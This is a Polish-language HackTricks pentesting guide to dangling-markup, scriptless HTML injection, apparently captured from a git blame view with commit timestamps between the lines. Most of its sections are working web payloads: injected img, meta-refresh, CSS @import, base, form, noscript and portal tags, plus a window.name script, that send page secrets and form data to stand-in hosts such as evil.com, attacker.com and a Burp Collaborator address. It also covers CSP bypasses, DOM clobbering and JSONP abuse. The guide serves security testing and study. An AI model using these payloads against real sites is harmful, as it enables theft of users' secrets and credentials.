hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

260 lines
14 KiB
Markdown
Raw Normal View History

# Wiszący znacznik - Wstrzyknięcie HTML bez skryptów
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-02 18:28:27 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
## Podsumowanie
2022-04-28 16:01:33 +00:00
Ta technika może być użyta do wydobycia informacji od użytkownika, gdy **znaleziono wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz sposobu na wykorzystanie** [**XSS**](../xss-cross-site-scripting/), ale możesz **wstrzyknąć pewne znaczniki HTML**.\
Jest to również przydatne, jeśli jakiś **sekret jest zapisany w postaci zwykłego tekstu** w HTML i chcesz go **wydobyć** z klienta, lub jeśli chcesz wprowadzić w błąd wykonanie pewnego skryptu.
Kilka omawianych tutaj technik może być użytych do obejścia niektórych [**Polityk Bezpieczeństwa Zawartości**](../content-security-policy-csp-bypass/) poprzez wydobywanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).
## Główne Zastosowania
2024-02-11 01:46:25 +00:00
### Kradzież tajemnic w postaci zwykłego tekstu
Jeśli wstrzykniesz `<img src='http://evil.com/log.cgi?` gdy strona jest ładowana, ofiara wyśle Ci cały kod między wstrzykniętym tagiem `img` a następnym cudzysłowiem w kodzie. Jeśli jakiś sekret znajduje się w tej części, go ukradniesz (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).
Jeśli tag `img` jest zabroniony (np. z powodu CSP), możesz również użyć `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
2024-02-05 20:00:40 +00:00
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Zauważ, że **Chrome blokuje adresy URL HTTP** zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".
2024-04-06 19:35:05 +00:00
Możesz także nadużyć CSS `@import` (wyśle cały kod do momentu znalezienia ";")
2024-02-05 20:00:40 +00:00
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
2024-02-11 01:46:25 +00:00
Możesz również użyć **`<table`**:
2024-02-05 20:00:40 +00:00
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Możesz także wstawić tag `<base`. Wszystkie informacje zostaną wysłane do zamknięcia cytatu, ale wymaga to pewnej interakcji użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmieni domenę wskazywaną przez link):
2024-02-05 20:00:40 +00:00
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
2024-02-11 01:46:25 +00:00
### Kradzież formularzy
2024-02-05 20:00:40 +00:00
```html
2024-02-11 01:46:25 +00:00
<base href='http://evil.com/'>
```
Następnie formularze wysyłające dane do ścieżki (np. `<form action='update_profile.php'>`) będą wysyłać dane do złośliwej domeny.
2024-02-11 01:46:25 +00:00
### Kradzież formularzy 2
Ustaw nagłówek formularza: `<form action='http://evil.com/log_steal'>` to nadpisze następny nagłówek formularza i wszystkie dane z formularza zostaną wysłane do atakującego.
2024-02-11 01:46:25 +00:00
### Kradzież formularzy 3
Przycisk może zmienić adres URL, pod który zostaną wysłane informacje z formularza, za pomocą atrybutu "formaction":
2024-02-05 20:00:40 +00:00
```html
2024-02-11 01:46:25 +00:00
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Atakujący może użyć tego do kradzieży informacji.
Znajdź [**przykład tego ataku w tym opracowaniu**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Kradzież tajemnic w czystym tekście 2
Korzystając z najnowszej wymienionej techniki kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), można następnie wstrzyknąć nowe pole wprowadzania:
2024-02-11 01:46:25 +00:00
```html
<input type='hidden' name='review_body' value="
```
i to pole wejściowe będzie zawierać całą zawartość między swoim podwójnym cudzysłowiem a następnym podwójnym cudzysłowiem w HTML. Ten atak łączy "_**Kradzież jasnych tekstowych sekretów**_" z "_**Kradzież formularzy2**_".
Możesz zrobić to samo wstrzykując formularz i znacznik `<option>`. Wszystkie dane do momentu znalezienia zamkniętego `</option>` zostaną wysłane:
2024-02-05 20:00:40 +00:00
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
2024-02-11 01:46:25 +00:00
### Wstrzykiwanie parametrów formularza
2024-02-11 01:46:25 +00:00
Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwane działanie:
2024-02-05 20:00:40 +00:00
```html
<form action='/change_settings.php'>
2024-02-11 01:46:25 +00:00
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
### Kradzież tajemnic w czystym tekście za pomocą noscript
`<noscript></noscript>` Jest to znacznik, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w [chrome://settings/content/javascript](chrome://settings/content/javascript)).
2024-04-06 19:35:05 +00:00
Sposobem na wyciek treści strony internetowej od punktu wstrzyknięcia do jej końca do witryny kontrolowanej przez atakującego będzie wstrzyknięcie tego:
2024-02-05 20:00:40 +00:00
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Ominięcie CSP za pomocą interakcji użytkownika
Z [badaniami portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) można dowiedzieć się, że nawet w **najbardziej ograniczonych CSP** środowiskach nadal można **wyciekać dane** za pomocą **interakcji użytkownika**. W tym przypadku będziemy używać ładunku:
2024-02-05 20:00:40 +00:00
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Zauważ, że poprosisz **ofiarę**, aby **kliknęła w link**, który ją **przekieruje** do **payloadu** kontrolowanego przez Ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** do następnego pojedynczego cudzysłowu.\
Spowoduje to, że **wartość** **`window.name`** po kliknięciu w link będzie całą tą **treścią HTML**. Dlatego, kontrolując stronę, do której ofiara uzyskuje dostęp poprzez kliknięcie w link, możesz uzyskać dostęp do **`window.name`** i **wyciec** te dane:
2024-02-05 20:00:40 +00:00
```html
<script>
if(window.name) {
2024-02-11 01:46:25 +00:00
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Fałszywy skryptowy przepływ pracy 1 - Atak na przestrzeń nazw HTML
2024-04-06 19:35:05 +00:00
Wstaw nowy tag z identyfikatorem wewnątrz HTML, który nadpisze następny i będzie miało wartość wpływającą na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie udostępniona:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
2024-02-11 01:46:25 +00:00
...
request.share_with = document.getElementById('share_with').value;
...
}
```
### Mylący skrypt 2 - Atak na przestrzeń nazw skryptu
Utwórz zmienne w przestrzeni nazw JavaScript poprzez wstawienie tagów HTML. Następnie ta zmienna wpłynie na przebieg aplikacji:
2024-02-05 20:00:40 +00:00
```html
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
2024-02-11 01:46:25 +00:00
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
2024-02-11 01:46:25 +00:00
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
### Nadużycie JSONP
2024-02-11 01:46:25 +00:00
Jeśli znajdziesz interfejs JSONP, możesz wywołać dowolną funkcję z dowolnymi danymi:
2024-02-05 20:00:40 +00:00
```html
<script src='/editor/sharing.js'>: Legitimate script
2024-02-11 01:46:25 +00:00
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
2024-02-11 01:46:25 +00:00
set_sharing({ ... })
```
Możesz nawet spróbować wykonać pewien kod JavaScript:
2024-02-05 20:00:40 +00:00
```html
<script src='/search?q=a&call=alert(1)'></script>
```
### Nadużycie tagu Iframe
Dokument potomny ma zdolność do przeglądania i modyfikowania właściwości `location` swojego rodzica, nawet w sytuacjach międzydomenowych. Pozwala to na osadzenie skryptu wewnątrz tagu **iframe**, który może przekierować klienta na dowolną stronę:
2024-02-05 20:00:40 +00:00
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
To można zniwelować używając czegoś takiego jak: `sandbox=' allow-scripts allow-top-navigation'`
Iframe może również zostać wykorzystany do wycieku poufnych informacji z innej strony **korzystając z atrybutu nazwy iframe**. Dzieje się tak, ponieważ można stworzyć iframe, który zagnieżdża sam siebie, wykorzystując wstrzyknięcie HTML, które sprawia, że **poufne informacje pojawiają się w atrybucie nazwy iframe**, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i wyciec informacji.
2022-07-04 10:37:21 +00:00
```html
<script>
2024-02-11 01:46:25 +00:00
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
2022-07-04 10:37:21 +00:00
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
2022-07-04 10:37:21 +00:00
### \<meta nadużycie
2022-07-04 10:37:21 +00:00
Możesz użyć **`meta http-equiv`** do wykonania **kilku działań** takich jak ustawienie pliku Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub przekierowanie (w tym przypadku za 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
2024-02-11 01:46:25 +00:00
Można to **uniknąć** za pomocą **CSP** dotyczącego **http-equiv** (`Content-Security-Policy: default-src 'self';`, lub `Content-Security-Policy: http-equiv 'self';`)
### Nowy znacznik HTML \<portal
2024-04-06 19:35:05 +00:00
Możesz znaleźć bardzo **interesujące badania** na temat podatności do wykorzystania znacznika \<portal [tutaj](https://research.securitum.com/security-analysis-of-portal-element/).\
W chwili pisania tego tekstu musisz włączyć znacznik portal w Chrome pod adresem `chrome://flags/#enable-portals`, inaczej nie będzie działać.
2024-02-05 20:00:40 +00:00
```html
<portal src='https://attacker-server?
```
2024-02-11 01:46:25 +00:00
### Wycieki HTML
2024-02-11 01:46:25 +00:00
Nie wszystkie sposoby wycieku łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
2024-02-11 01:46:25 +00:00
## Wycieki SS
Jest to **miks** pomiędzy **dangling markup i XS-Leaks**. Z jednej strony podatność pozwala na **wstrzyknięcie HTML** (ale nie JS) na stronie **tej samej domeny**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na której możemy wstrzyknąć HTML, ale **innej strony**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
## XS-Search/XS-Leaks
2022-04-05 22:03:49 +00:00
2024-04-06 19:35:05 +00:00
XS-Search są skierowane na **wyciek informacji między domenami** poprzez nadużycie **ataków kanałów bocznych**. Dlatego jest to inna technika niż Dangling Markup, jednakże niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak [**Wstrzykiwanie CSS**](../xs-search/#css-injection) lub [**Opóźnione Ładowanie Obrazów**](../xs-search/#image-lazy-loading)**.**
2022-04-05 22:03:49 +00:00
2024-04-06 19:35:05 +00:00
{% content-ref url="../xs-search/" %}
[xs-search](../xs-search/)
2022-04-05 22:03:49 +00:00
{% endcontent-ref %}
## Lista Wykrywania Ataków Brute-Force
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
2021-06-27 21:56:13 +00:00
## Referencje
2024-02-05 20:00:40 +00:00
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-02 18:28:27 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>